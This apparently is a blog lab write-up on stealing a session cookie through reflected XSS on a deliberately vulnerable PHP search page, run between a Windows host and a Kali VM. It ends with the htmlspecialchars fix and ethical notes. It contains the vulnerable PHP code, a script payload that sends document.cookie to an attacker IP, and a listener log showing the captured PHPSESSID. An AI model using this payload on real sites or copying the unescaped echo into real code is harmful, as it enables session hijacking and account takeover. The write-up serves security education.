Stealing a Cookie with XSS thumbnail

Stealing a Cookie with XSS

⏱ approx. 11 min views 415 likes 0 LOG_DATE:2025-10-18
TOC

Overview #

In this experiment I run a small PHP application on the host OS (Windows 11) and attack it from a guest OS (Kali Linux) to steal its cookie.

Specifically, I prepare a search form with an intentional reflected cross-site scripting (Reflected XSS) vulnerability and simulate how an attacker would inject a malicious script into it.

The goal is to develop a hands-on understanding of the threat of session hijacking and the importance of proper output escaping (sanitization).# 1. The setup

XSS happens when a dynamic web application embeds user input directly into the page's code, letting an attacker make the page do things the user never intended.

Here we'll work with one variety: reflected cross-site scripting (Reflected XSS).

I run a web server on the host OS using XAMPP, and use Kali on the guest side to grab the cookie.

For a deeper explanation of XSS itself, see this post.

2. Building the environment #

The lab uses an isolated host/guest split.

Host OS (Windows 11 side) #

  1. 1. Install XAMPP: install XAMPP and start the Apache server.
  2. 2. Drop the vulnerable app: create a working folder under C:\xampp\htdocs (e.g. xss-test).
  3. 3. Create the file: in C:\xampp\htdocs\xss-test\, create search.php with the contents below. This code echoes the query parameter back without running it through htmlspecialchars, which gives it a reflected XSS vulnerability.

<html>
<head><title>Vulnerable search page</title></head>
<body>
    <h2>Search form</h2>
    <form action="search.php" method="GET">
        <input type="text" name="query">
        <input type="submit" value="Search">
    </form>
    <hr>
    <h3>Search results:</h3>
    <p>
    <?php
    if (isset($_GET['query'])) {
        $query = $_GET['query'];
        // ▼ The vulnerable line ▼
        echo "Found results for '" . $query . "'.";
    }
    ?>
    </p>

    <?php
    // Set a session cookie for the experiment
    session_start();
    if (!isset($_SESSION['user_id'])) {
        $_SESSION['user_id'] = 'victim_user_'. rand(1000, 9999);
    }
    echo "(Your session ID: " . session_id() . ")";
    ?>
</body>
</html>

  1. 4. Find your IP: open a console and run ipconfig to grab your IPv4 address.
img0
17. **5. Hit the web server:** in the host browser (Windows), open the vulnerable app — e.g. `http://192.168.2.100/xss-test/search.php`. The `search.php` we just created should load.
The page also displays the session ID assigned to the browser.

<div class="zoomable-image-container"><img src="/images/posts/experiments/post01/1.png" alt="img1"></div>

Guest OS (Kali Linux side) #

  1. Boot the VM: start Kali Linux in VMware or VirtualBox. (Any Linux works — Kali isn't required.)
  2. Start a log server: spin up a tiny HTTP server to receive the cookie. Open a terminal and run:
# Listen on port 8000
python3 -m http.server 8000

  1. Find your IP: in another terminal run ip a. In my case the address was 192.168.2.169.
img2

3. Running the attack #

  1. Prep the victim: in the host browser (Windows), open the vulnerable app (e.g. http://192.168.2.100/xss-test/search.php). This drops the session cookie into the browser.
  2. Build the payload: the JavaScript below ships the cookie back to the attacker. Replace the IP with your Kali address.
<script>document.location='http://<host OS IP>:8000/steal?cookie='+document.cookie;</script>
  1. Fire it: back in the host browser, paste the <script>...</script> payload into the search box and click "Search".

4. Confirming the result #

When you click "Search", the host browser executes the script and tries to redirect to the attacker (Kali). The browser shows a "Can't reach this site" error (404) — that's expected.

Now check the guest OS (Kali Linux) terminal — the one running python3 -m http.server. If you see a log entry like the one below, the attack landed.

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.2.100 - - [19/Oct/2025 04:31:52] "GET /steal?cookie=PHPSESSID=kfukttotbe8hhro1for4nbp1th HTTP/1.1" 404 -

The log shows a request from the host OS (192.168.2.100), and the request URL (GET /steal?...) carries the victim's cookie (PHPSESSID=...). The cookie has been stolen.

img3
# 4. Fixing the vulnerability

To restate what just happened: the vulnerable search.php took the string sent in by the search form (in this case <script>document.location=...</script> — our payload) and returned it verbatim as part of the HTML page, without any processing.

The browser then read the <script> tag in that HTML and treated it not as text to display but as a script to execute.

That's how document.location ran and shipped the victim's cookie to the attacker's server (Kali Linux).

This XSS vulnerability is preventable: pass user input through htmlspecialchars before writing it to HTML.

Patch the vulnerable section of search.php like so:

    <?php
    if (isset($_GET['query'])) {
        $query = $_GET['query'];

        // ▼▼▼ Vulnerability fix ▼▼▼
        // Convert special characters to HTML entities
        $safe_query = htmlspecialchars($query, ENT_QUOTES, 'UTF-8');

        // Output the now-safe $safe_query
        echo "Found results for '" . $safe_query . "'.";
        // ▲▲▲ Vulnerability fix ▲▲▲
    }
    ?>

After this fix, paste the same <script>... payload into the form again and search. The script no longer runs — instead the input is echoed verbatim: Found results for '<script>document.location=...</script>'.

img4
# Ethical notes

This experiment is for educational purposes — to understand the mechanics of XSS and the threat of session hijacking. Probing other people's websites for vulnerabilities or sending attack payloads at them, without authorization, is criminal behavior under laws covering unauthorized computer access and obstruction of business.

Always keep this kind of work confined to a closed local network you control (host OS plus guest VM, nothing else).

The threat #

In our setup, the abused feature is just a search form — about as ordinary as web functionality gets.

If a malicious attacker found a vulnerability like this in a real website, they would craft a URL containing the attack payload and distribute it widely — phishing emails, social media DMs, anywhere people might click.

When a user clicks that URL trusting it's the real site, the script executes in their browser and the session cookie lands with the attacker.

The attacker can then use that cookie to impersonate the user and reach the authenticated parts of the site — personal info, payment details, sensitive data. That's session hijacking.

Defense #

This attack would be completely defeated by adding one call to PHP's htmlspecialchars — a single line of code.

It illustrates a foundational principle of web application security: never trust user input; always escape (sanitize) on output.

Developers can't afford to assume "this input is fine" — every input is a potential attack payload, and secure coding has to be a habit.

For users, the defenses are simpler: don't reflexively click URLs from email or DMs, and develop a habit of looking for suspicious patterns in them (%3C, script, that kind of thing).

COMMENTS 0

No comments yet — be the first to leave one.

Post a comment